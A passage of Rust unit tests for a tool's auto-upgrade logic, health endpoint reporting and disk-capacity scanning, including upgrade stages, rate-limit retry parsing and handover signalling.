21995        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
21996        let body = res.json();
21997        assert!(body["to"].is_null(), "there was no release to move to");
21998        assert!(body["parked"].is_null(), "and nothing was parked");
21999        assert!(
22000            body["detail"]
22001                .as_str()
22002                .unwrap()
22003                .contains("disabled by MAGI_NO_AUTOUPDATE"),
22004            "{body:?}"
22005        );
22006    }
22007
22008    #[test]
22009    fn auto_upgrade_decision_respects_policy_work_and_failed_tags() {
22010        use AutoUpgradeDecision::{Skip, Trigger, Wait};
22011        let mut cfg = Update::default();
22012        assert!(matches!(
22013            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22014            Skip(_)
22015        ));
22016        cfg.auto_restart = true;
22017        assert_eq!(
22018            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22019            Trigger
22020        );
22021        assert_eq!(
22022            auto_upgrade_decision(&cfg, false, false, true, "v2", None),
22023            Wait
22024        );
22025        for (disabled, moving, failed) in [
22026            (true, false, None),
22027            (false, true, None),
22028            (false, false, Some("v2")),
22029        ] {
22030            assert!(matches!(
22031                auto_upgrade_decision(&cfg, disabled, moving, false, "v2", failed),
22032                Skip(_)
22033            ));
22034        }
22035        assert_eq!(
22036            auto_upgrade_decision(&cfg, false, false, false, "v3", Some("v2")),
22037            Trigger
22038        );
22039        cfg.mode = UpdateMode::Off;
22040        assert!(matches!(
22041            auto_upgrade_decision(&cfg, false, false, false, "v2", None),
22042            Skip(_)
22043        ));
22044    }
22045
22046    #[test]
22047    fn auto_upgrade_waits_for_detached_workers_but_not_the_scheduler() {
22048        let home = TempDir::new().unwrap();
22049        let ui = idle_ui(&home);
22050        assert!(!ui.auto_upgrade_busy());
22051        let directory = home.path().join("workers/jobs/abcdef");
22052        std::fs::create_dir_all(&directory).unwrap();
22053        let mut job = crate::worker::Job {
22054            id: "abcdef".into(),
22055            sequence: 1,
22056            kind: "scheduler".into(),
22057            key: "scheduler".into(),
22058            payload: serde_json::json!({}),
22059            generation: "test".into(),
22060            version: None,
22061            status: crate::worker::Status::Running,
22062            result: None,
22063            pid: None,
22064            created_at: 0,
22065            finished_at: None,
22066        };
22067        let lease = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
22068        let write = |job: &crate::worker::Job| {
22069            std::fs::write(directory.join("job.json"), serde_json::to_vec(job).unwrap()).unwrap();
22070        };
22071        write(&job);
22072        assert!(!ui.auto_upgrade_busy(), "an idle scheduler permits updates");
22073        for kind in ["task", "chat"] {
22074            job.kind = kind.into();
22075            write(&job);
22076            assert!(ui.auto_upgrade_busy(), "a detached {kind} defers updates");
22077        }
22078        drop(lease);
22079        // A lib test thread that spawns with `pre_exec` forks this process, and
22080        // the child shares the lock's open file description until its exec
22081        // closes it (O_CLOEXEC). So the lock can outlive `drop` for a moment;
22082        // wait for it to be really free (bounded) before judging the state,
22083        // instead of racing whatever other test happens to be spawning.
22084        let free = std::time::Instant::now() + std::time::Duration::from_secs(10);
22085        loop {
22086            let probe = std::fs::OpenOptions::new()
22087                .read(true)
22088                .write(true)
22089                .open(directory.join("live.lock"))
22090                .unwrap();
22091            if crate::pr_head::try_lock_file(&probe).is_ok() {
22092                break;
22093            }
22094            assert!(
22095                std::time::Instant::now() < free,
22096                "the worker lease was never released"
22097            );
22098            std::thread::sleep(std::time::Duration::from_millis(5));
22099        }
22100        assert!(
22101            !ui.auto_upgrade_busy(),
22102            "completed execution permits updates"
22103        );
22104        std::fs::create_dir_all(home.path().join("workers/jobs/bad")).unwrap();
22105        assert!(
22106            ui.auto_upgrade_busy(),
22107            "unreadable worker state defers updates"
22108        );
22109    }
22110
22111    fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
22112        Box::pin(async { anyhow::bail!("test installer failed") })
22113    }
22114
22115    #[tokio::test]
22116    async fn auto_upgrade_uses_shared_progress_and_failure_cleanup_only_when_idle() {
22117        let home = TempDir::new().unwrap();
22118        std::fs::write(
22119            home.path().join("magi.toml"),
22120            "[update]\nauto_restart = true\n",
22121        )
22122        .unwrap();
22123        let mut ui = idle_ui(&home);
22124        ui.repo = home.path().to_path_buf();
22125        // Every successful trigger in this test uses this seam, never the installer.
22126        ui.upgrade_runner = fail_test_upgrade;
22127        let ui = Arc::new(ui);
22128        let latest = || {
22129            Some(kaishin::LatestRelease {
22130                tag_name: "v999.0.0".into(),
22131                html_url: String::new(),
22132            })
22133        };
22134        ui.talk_turns.lock().unwrap().live.insert("busy".into());
22135        assert_eq!(
22136            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22137                .await
22138                .status(),
22139            StatusCode::NO_CONTENT
22140        );
22141        assert!(updater::read_progress(home.path()).is_none());
22142        ui.talk_turns.lock().unwrap().live.clear();
22143        let gate = ui.upgrade_gate.lock().await;
22144        assert_eq!(
22145            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22146                .await
22147                .status(),
22148            StatusCode::CONFLICT
22149        );
22150        drop(gate);
22151        assert_eq!(
22152            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22153                .await
22154                .status(),
22155            StatusCode::ACCEPTED
22156        );
22157        let progress = updater::read_progress(home.path()).unwrap();
22158        assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
22159        assert_eq!(progress.stage, updater::Stage::Downloading);
22160        assert!(progress.parked_run.is_none());
22161        assert!(ui.start_detached_loop().await.is_err());
22162        assert!(ui.start_loop(None).is_err());
22163        assert!(ui.begin_resume("late").is_err());
22164        tokio::time::timeout(Duration::from_secs(2), async {
22165            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
22166                tokio::task::yield_now().await;
22167            }
22168        })
22169        .await
22170        .unwrap();
22171        let progress = updater::read_progress(home.path()).unwrap();
22172        assert_eq!(progress.stage, updater::Stage::Failed);
22173        assert_eq!(
22174            begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
22175                .await
22176                .status(),
22177            StatusCode::NO_CONTENT
22178        );
22179        // The manual shared path records the same progress and runs the same seam.
22180        let result = upgrade_checked(&ui, "old".into(), Ok(latest()));
22181        assert_eq!(
22182            finish_upgrade_request(&ui, result).status(),
22183            StatusCode::ACCEPTED
22184        );
22185        assert_eq!(
22186            updater::read_progress(home.path()).unwrap().trigger,
22187            updater::UpgradeTrigger::Manual
22188        );
22189        tokio::time::timeout(Duration::from_secs(2), async {
22190            while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
22191                tokio::task::yield_now().await;
22192            }
22193        })
22194        .await
22195        .unwrap();
22196    }
22197
22198    fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
22199        let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
22200        p.stage = stage;
22201        p
22202    }
22203
22204    #[test]
22205    fn busy_stages_match_the_ui_set() {
22206        use crate::updater::Stage;
22207        assert!(APP_JS.contains(
22208            "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
22209        ));
22210        for s in [
22211            Stage::Downloading,
22212            Stage::Replaced,
22213            Stage::Parking,
22214            Stage::Restarting,
22215        ] {
22216            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
22217        }
22218        for s in [Stage::Done, Stage::Failed] {
22219            assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
22220        }
22221        assert!(upgrade_in_motion(None).is_none());
22222    }
22223
22224    #[tokio::test]
22225    async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
22226        use crate::updater::Stage;
22227        for stage in [
22228            Stage::Downloading,
22229            Stage::Replaced,
22230            Stage::Parking,
22231            Stage::Restarting,
22232        ] {
22233            let fx = Fixture::start().await;
22234            let seeded = seeded_progress(stage);
22235            crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
22236            let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
22237                .expect("read");
22238
22239            let res = fx.post("/api/upgrade", None).await;
22240            assert_eq!(res.status, 409, "{stage:?}");
22241            let err = res.json()["error"].as_str().unwrap().to_owned();
22242            assert!(err.contains("already in progress"), "{err}");
22243            assert!(err.contains(stage.as_str()), "{err}");
22244
22245            let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
22246                .expect("read");
22247            assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
22248            let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
22249                .unwrap_or_default();
22250            assert!(!log.contains("signalling HANDOVER"), "{log}");
22251        }
22252    }
22253
22254    #[test]
22255    fn upgrade_retry_timing_only_parses_known_diagnostics() {
22256        assert_eq!(
22257            upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
22258            Some(3723)
22259        );
22260        assert_eq!(
22261            upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
22262            Some(60)
22263        );
22264        assert_eq!(
22265            upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
22266            Some(0)
22267        );
22268        for message in [
22269            "permission denied",
22270            "GitHub API rate limit exceeded",
22271            "GitHub rate limit (resets in unknown)",
22272            "GitHub rate limit (resets in 18446744073709551615d)",
22273        ] {
22274            assert_eq!(upgrade_retry_after(message), None, "{message}");
22275        }
22276    }
22277
22278    #[tokio::test]
22279    async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
22280        let home = TempDir::new().unwrap();
22281        let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
22282        ui.start_loop(None).unwrap();
22283        updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
22284        let before = std::fs::read(updater::progress_path(home.path())).unwrap();
22285        let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
22286        let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
22287        let response = finish_upgrade_request(&ui, result);
22288        assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
22289        assert_eq!(response.headers()["retry-after"], "120");
22290        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
22291            .await
22292            .unwrap();
22293        let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
22294        assert!(body["error"].as_str().unwrap().contains(reason));
22295        assert_eq!(body["retry_after_secs"], 120);
22296        assert!(body["retry_at"].as_u64().is_some());
22297        for _ in 0..2 {
22298            let view = health(State(ui.clone())).await.unwrap().0;
22299            let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
22300            assert_eq!(failure, body);
22301        }
22302        assert_eq!(
22303            std::fs::read(updater::progress_path(home.path())).unwrap(),
22304            before
22305        );
22306        assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
22307        assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
22308        // A conflicting request must not erase the actionable earlier failure.
22309        let gate = ui.upgrade_gate.lock().await;
22310        assert_eq!(
22311            upgrade_post(State(ui.clone())).await.status(),
22312            StatusCode::CONFLICT
22313        );
22314        drop(gate);
22315        assert!(
22316            health(State(ui.clone()))
22317                .await
22318                .unwrap()
22319                .0
22320                .upgrade_request_error
22321                .is_some()
22322        );
22323        let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
22324        assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
22325        assert!(
22326            health(State(ui.clone()))
22327                .await
22328                .unwrap()
22329                .0
22330                .upgrade_request_error
22331                .is_none()
22332        );
22333        let live = ui.lock_loop().live.take().unwrap();
22334        live.stop.stop();
22335        live.handle.await.unwrap();
22336    }
22337
22338    #[tokio::test]
22339    async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
22340        use crate::updater::Stage;
22341        let repo = TempDir::new().expect("repo dir");
22342        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22343            .expect("write magi.toml");
22344        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22345        for stage in [Stage::Done, Stage::Failed] {
22346            crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
22347            let res = fx.post("/api/upgrade", None).await;
22348            assert_eq!(res.status, 200, "{stage:?}");
22349        }
22350        // No record at all, and the gate was released by the earlier calls.
22351        let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
22352        assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
22353    }
22354
22355    #[tokio::test]
22356    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
22357        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
22358        // and the route answers from its own logic.
22359        //
22360        // This test used to lean on the fixture's placeholder repo failing
22361        // config discovery, which left `mode = "notify"` - and a live,
22362        // unauthenticated call to the GitHub releases API inside a unit test.
22363        // GitHub allows 60 of those an hour per address, so the suite went red
22364        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
22365        // long as somebody kept re-running it: every attempt spent another
22366        // request. Six reruns across four pull requests were charged to that
22367        // before it was read as a rate limit rather than a flake.
22368        //
22369        // What the assertion is about is the "already current" branch, which
22370        // is reached by there being no newer release *or* nowhere to look. The
22371        // second one needs no network and cannot be rate limited.
22372        let repo = TempDir::new().expect("repo dir");
22373        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22374            .expect("write magi.toml");
22375        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22376
22377        // It must answer 200 and leave the process alone: restarting for an
22378        // upgrade that did not happen parks the run in flight and drops every
22379        // connection to pay for nothing. A probe against a deck already on the
22380        // newest build did exactly that, which is how this case got its own
22381        // branch.
22382        let res = fx.post("/api/upgrade", None).await;
22383        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
22384        let body = res.json();
22385        assert!(body["to"].is_null(), "there was no release to move to");
22386        assert!(body["parked"].is_null(), "and nothing was parked");
22387        assert!(
22388            body["detail"]
22389                .as_str()
22390                .unwrap()
22391                .contains("nothing restarted"),
22392            "{body:?}"
22393        );
22394    }
22395
22396    async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
22397        tokio::time::timeout(Duration::from_secs(5), async {
22398            while state.lock().unwrap().in_flight {
22399                tokio::task::yield_now().await;
22400            }
22401        })
22402        .await
22403        .expect("capacity scan finished");
22404    }
22405
22406    fn disk_test_scope(home: &FsPath) -> DiskScope {
22407        DiskScope {
22408            runs: home.join("runs"),
22409            worktrees: home.join("worktrees"),
22410            cache: Some(home.join("cache")),
22411        }
22412    }
22413
22414    fn known_disk_capacity() -> DiskCapacity {
22415        DiskCapacity {
22416            free_bytes: Some(100),
22417            runs_bytes: Some(200),
22418            worktrees_bytes: Some(300),
22419            cache_bytes: Some(400),
22420        }
22421    }
22422
22423    #[tokio::test]
22424    async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
22425        let home = TempDir::new().unwrap();
22426        std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
22427        let mut ui = delta_test_ui(home.path());
22428        let state = Arc::get_mut(&mut ui).unwrap();
22429        state.repo = home.path().to_owned();
22430        state.worktrees_root = home.path().join("worktrees");
22431        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
22432        ui.monitor
22433            .worker_started
22434            .store(true, std::sync::atomic::Ordering::SeqCst);
22435        let cfg = deputy_config(&ui.repo);
22436        let scope = DiskScope::of(&ui, cfg.as_ref());
22437        let (started, reached) = tokio::sync::oneshot::channel();
22438        let (release, blocked) = std::sync::mpsc::channel();
22439        let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
22440            started.send(()).unwrap();
22441            blocked.recv().unwrap();
22442            known_disk_capacity()
22443        });
22444        assert!(cold.runs_bytes.is_none());
22445        tokio::time::timeout(Duration::from_secs(5), reached)
22446            .await
22447            .unwrap()
22448            .unwrap();
22449
22450        let requests: Vec<_> = (0..4)
22451            .map(|_| {
22452                let ui = ui.clone();
22453                tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
22454            })
22455            .collect();
22456        tokio::time::timeout(Duration::from_secs(5), async {
22457            for request in requests {
22458                let view = request.await.unwrap();
22459                let disk = serde_json::to_value(view.disk).unwrap();
22460                assert!(disk["runs_bytes"].is_null());
22461                assert!(disk["worktrees_bytes"].is_null());
22462                assert!(disk.get("free_bytes").is_none());
22463            }
22464        })
22465        .await
22466        .expect("health must return while the measurement is causally blocked");
22467        assert!(ui.monitor.disk.lock().unwrap().in_flight);
22468        // No competing worker can have published while the first holds flight.
22469        assert!(
22470            ui.monitor
22471                .disk
22472                .lock()
22473                .unwrap()
22474                .capacity
22475                .runs_bytes
22476                .is_none()
22477        );
22478        release.send(()).unwrap();
22479        wait_for_disk_scan(&ui.monitor.disk).await;
22480        assert_eq!(
22481            ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
22482            Some(200)
22483        );
22484    }
22485
22486    #[tokio::test]
22487    async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
22488        let home = TempDir::new().unwrap();
22489        let scope = disk_test_scope(home.path());
22490        let state = Arc::new(Mutex::new(DiskObservation {
22491            scope: Some(scope.clone()),
22492            capacity: known_disk_capacity(),
22493            finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
22494            ..Default::default()
22495        }));
22496        let (started, reached) = tokio::sync::oneshot::channel();
22497        let (release, blocked) = std::sync::mpsc::channel();
22498        let before = DiskObservation::observe(&state, scope.clone(), move |_| {
22499            started.send(()).unwrap();
22500            blocked.recv().unwrap();
22501            DiskCapacity {
22502                runs_bytes: Some(250),
22503                ..Default::default()
22504            }
22505        });
22506        assert_eq!(before.cache_bytes, Some(400));
22507        tokio::time::timeout(Duration::from_secs(5), reached)
22508            .await
22509            .unwrap()
22510            .unwrap();
22511        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22512        for _ in 0..4 {
22513            let scans = duplicate_scans.clone();
22514            let during = DiskObservation::observe(&state, scope.clone(), move |_| {
22515                scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22516                DiskCapacity::default()
22517            });
22518            assert_eq!(during.runs_bytes, Some(200));
22519            assert_eq!(during.cache_bytes, Some(400));
22520        }
22521        release.send(()).unwrap();
22522        wait_for_disk_scan(&state).await;
22523        let scans = duplicate_scans.clone();
22524        let after = DiskObservation::observe(&state, scope, move |_| {
22525            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22526            DiskCapacity::default()
22527        });
22528        wait_for_disk_scan(&state).await;
22529        assert_eq!(after.runs_bytes, Some(250));
22530        assert_eq!(after.free_bytes, Some(100));
22531        assert_eq!(after.cache_bytes, Some(400));
22532        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
22533        assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
22534    }
22535
22536    #[tokio::test]
22537    async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
22538        let home = TempDir::new().unwrap();
22539        let old_scope = disk_test_scope(home.path());
22540        let mut new_scope = old_scope.clone();
22541        new_scope.cache = Some(home.path().join("replacement-cache"));
22542        let state = Arc::new(Mutex::new(DiskObservation {
22543            scope: Some(old_scope.clone()),
22544            capacity: known_disk_capacity(),
22545            ..Default::default()
22546        }));
22547        let (started, reached) = tokio::sync::oneshot::channel();
22548        let (release, blocked) = std::sync::mpsc::channel();
22549        DiskObservation::observe(&state, old_scope, move |_| {
22550            started.send(()).unwrap();
22551            blocked.recv().unwrap();
22552            known_disk_capacity()
22553        });
22554        tokio::time::timeout(Duration::from_secs(5), reached)
22555            .await
22556            .unwrap()
22557            .unwrap();
22558        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
22559        let scans = duplicate_scans.clone();
22560        let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
22561            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
22562            DiskCapacity::default()
22563        });
22564        assert!(changed.cache_bytes.is_none());
22565        assert!(changed.runs_bytes.is_none());
22566        release.send(()).unwrap();
22567        wait_for_disk_scan(&state).await;
22568        {
22569            let observation = state.lock().unwrap();
22570            assert!(observation.capacity.cache_bytes.is_none());
22571            assert!(observation.finished.is_none());
22572        }
22573        DiskObservation::observe(&state, new_scope.clone(), move |scope| {
22574            assert_eq!(scope, &new_scope);
22575            DiskCapacity {
22576                cache_bytes: Some(999),
22577                ..Default::default()
22578            }
22579        });
22580        wait_for_disk_scan(&state).await;
22581        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
22582        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
22583    }
22584
22585    #[tokio::test]
22586    async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
22587        let home = TempDir::new().unwrap();
22588        let scope = disk_test_scope(home.path());
22589        let state = Arc::new(Mutex::new(DiskObservation {
22590            scope: Some(scope.clone()),
22591            capacity: known_disk_capacity(),
22592            ..Default::default()
22593        }));
22594        DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
22595        wait_for_disk_scan(&state).await;
22596        {
22597            let mut observation = state.lock().unwrap();
22598            assert_eq!(observation.capacity.cache_bytes, Some(400));
22599            assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
22600            observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
22601        }
22602        DiskObservation::observe(&state, scope, |_| DiskCapacity {
22603            cache_bytes: Some(450),
22604            ..Default::default()
22605        });
22606        wait_for_disk_scan(&state).await;
22607        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
22608    }
22609
22610    #[test]
22611    fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
22612        let home = TempDir::new().unwrap();
22613        assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
22614        assert_eq!(disk_capacity_size(home.path()), Some(0));
22615        std::fs::create_dir(home.path().join("nested")).unwrap();
22616        std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
22617        assert_eq!(disk_capacity_size(home.path()), Some(5));
22618        #[cfg(unix)]
22619        {
22620            // Unix distinguishes an invalid descendant lookup from absence.
22621            assert_eq!(
22622                disk_capacity_size(&home.path().join("nested/data/child")),
22623                None
22624            );
22625        }
22626        #[cfg(unix)]
22627        {
22628            std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
22629            assert_eq!(disk_capacity_size(home.path()), Some(5));
22630        }
22631    }
22632
22633    #[tokio::test]
22634    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
22635        // `mode = "off"` for the same reason as the test above: a default
22636        // fixture repo falls back to `mode = "notify"`, which would make this
22637        // route's new `update` field a live, unauthenticated GitHub call on
22638        // every assertion in this suite that happens to hit `/api/health`.
22639        let repo = TempDir::new().expect("repo dir");
22640        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
22641            .expect("write magi.toml");
22642        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
22643
22644        let health = fx.get("/api/health").await.json();
22645        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
22646        assert_eq!(
22647            health["update"]["available"], false,
22648            "checking is off, which reads as \"unknown\", not \"none\""
22649        );
22650        assert!(health["update"]["to"].is_null());
22651        assert!(
22652            health["upgrade"].is_null(),
22653            "nothing has ever asked this deck to upgrade"
22654        );
22655    }
22656
22657    #[tokio::test]
22658    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
22659        let fx = Fixture::start().await;
22660        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
22661
22662        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22663        progress.parked_run = Some("20260905-000000-cd51".to_owned());
22664        progress.advance(crate::updater::Stage::Parking);
22665        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22666
22667        let health = fx.get("/api/health").await.json();
22668        assert_eq!(health["upgrade"]["stage"], "parking");
22669        assert_eq!(health["upgrade"]["from"], "0.5.1");
22670        assert_eq!(health["upgrade"]["to"], "0.5.2");
22671        let waiting_on = health["upgrade"]["waiting_on"]
22672            .as_str()
22673            .expect("waiting_on is set while parking a known run");
22674        assert!(waiting_on.contains("cd51"), "{waiting_on}");
22675        assert!(waiting_on.contains("implementing"), "{waiting_on}");
22676    }
22677
22678    #[tokio::test]
22679    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
22680        let fx = Fixture::start().await;
22681        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22682        progress.advance(crate::updater::Stage::Done);
22683        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22684
22685        let health = fx.get("/api/health").await.json();
22686        assert_eq!(health["upgrade"]["stage"], "done");
22687        assert!(
22688            health["upgrade"]["waiting_on"].is_null(),
22689            "nothing to wait on once it is done"
22690        );
22691    }
22692
22693    /// The handover signal is seen however the race falls, and wakes its one
22694    /// waiter once per signal - nothing here can spin.
22695    #[tokio::test]
22696    async fn the_handover_signal_wakes_one_waiter_once() {
22697        let signal = Notify::new();
22698        // Signalled before anyone waits: the stored permit is not lost.
22699        signal.notify_one();
22700        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
22701            .await
22702            .expect("an early signal is still seen");
22703        // One signal, one wake-up: a second wait does not resolve by itself.
22704        assert!(
22705            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
22706                .await
22707                .is_err(),
22708            "a consumed signal must not wake a second time"
22709        );
22710        // Signalled while waiting.
22711        let signal = std::sync::Arc::new(signal);
22712        let waiter = tokio::spawn({
22713            let signal = std::sync::Arc::clone(&signal);
22714            async move { wait_for_handover(&signal).await }
22715        });
22716        tokio::time::sleep(Duration::from_millis(20)).await;
22717        assert!(!waiter.is_finished(), "nothing was signalled yet");
22718        signal.notify_one();
22719        tokio::time::timeout(Duration::from_secs(5), waiter)
22720            .await
22721            .expect("a late signal wakes the waiter")
22722            .expect("join");
22723    }
22724
22725    #[tokio::test]
22726    async fn health_says_how_long_a_handover_has_been_stuck() {
22727        let fx = Fixture::start().await;
22728        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22729        progress.advance(crate::updater::Stage::Replaced);
22730        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
22731        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22732
22733        let health = fx.get("/api/health").await.json();
22734        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
22735        assert!(stuck >= 600, "{stuck}");
22736        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
22737        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
22738    }
22739
22740    #[tokio::test]
22741    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
22742        let home = tempfile::tempdir().expect("temp home");
22743        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22744        progress.advance(crate::updater::Stage::Parking);
22745        crate::updater::write_progress(home.path(), &progress).expect("seed");
22746        // What the second upgrade_and_restart and its handler do.
22747        let mut again = progress.clone();
22748        again.advance(crate::updater::Stage::Replaced);
22749        crate::updater::write_progress(home.path(), &again).expect("replaced");
22750        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22751        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
22752        let after = crate::updater::read_progress(home.path()).expect("record");
22753        assert_eq!(after.stage, crate::updater::Stage::Parking);
22754    }
22755
22756    #[tokio::test]
22757    async fn health_does_not_call_a_live_parking_wait_stuck() {
22758        let fx = Fixture::start().await;
22759        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
22760        progress.parked_run = Some("20260905-000000-cd51".to_owned());
22761        progress.advance(crate::updater::Stage::Parking);
22762        let hours = Duration::from_secs(3 * 3600);
22763        progress.started_at = Timestamp::now() - hours;
22764        progress.updated_at = Timestamp::now() - hours;
22765        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
22766        let _lease = crate::updater::LeaseGuard::enter(
22767            fx.home.path(),
22768            Some("20260905-000000-cd51".to_owned()),
22769        );
22770
22771        let health = fx.get("/api/health").await.json();
22772        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
22773        assert!(health["upgrade"]["stuck_kind"].is_null());
22774        assert_eq!(health["upgrade"]["handover_alive"], true);
22775        let waiting_on = health["upgrade"]["waiting_on"]
22776            .as_str()
22777            .expect("waiting_on");
22778        assert!(waiting_on.contains("cd51"), "{waiting_on}");
22779    }
22780
22781    fn idle_ui(home: &TempDir) -> Ui {
22782        let runs = home.path().join("runs");
22783        std::fs::create_dir_all(&runs).expect("runs dir");
22784        Ui::new(
22785            Queue::at(home.path().join("queue")),
22786            Questions::at(home.path().join("questions")),
22787            Talks::at(home.path().join("talks")),
22788            runs,
22789            home.path().to_path_buf(),
22790            PathBuf::from("/repo/magi"),
22791        )
22792        .with_launch(launch_idle)
22793    }
22794
22795    #[tokio::test]
22796    async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
22797        let home = TempDir::new().expect("temp home");
22798        let ui = idle_ui(&home);
22799        let lease = crate::worker::try_lease(home.path(), "scheduler")
22800            .expect("scheduler lease")
22801            .expect("free");
22802        crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
22803            .expect("request stop");
22804        let error = ui
22805            .start_detached_loop()
22806            .await
22807            .expect_err("transition is still live");
22808        assert_eq!(error.status, StatusCode::CONFLICT);
22809        assert!(error.message.contains("still running or stopping"));
22810        assert_eq!(
22811            crate::worker::control(home.path(), "scheduler").unwrap(),
22812            Some(crate::worker::Control::Stop)
22813        );
22814        drop(lease);
22815    }
22816
22817    #[tokio::test]
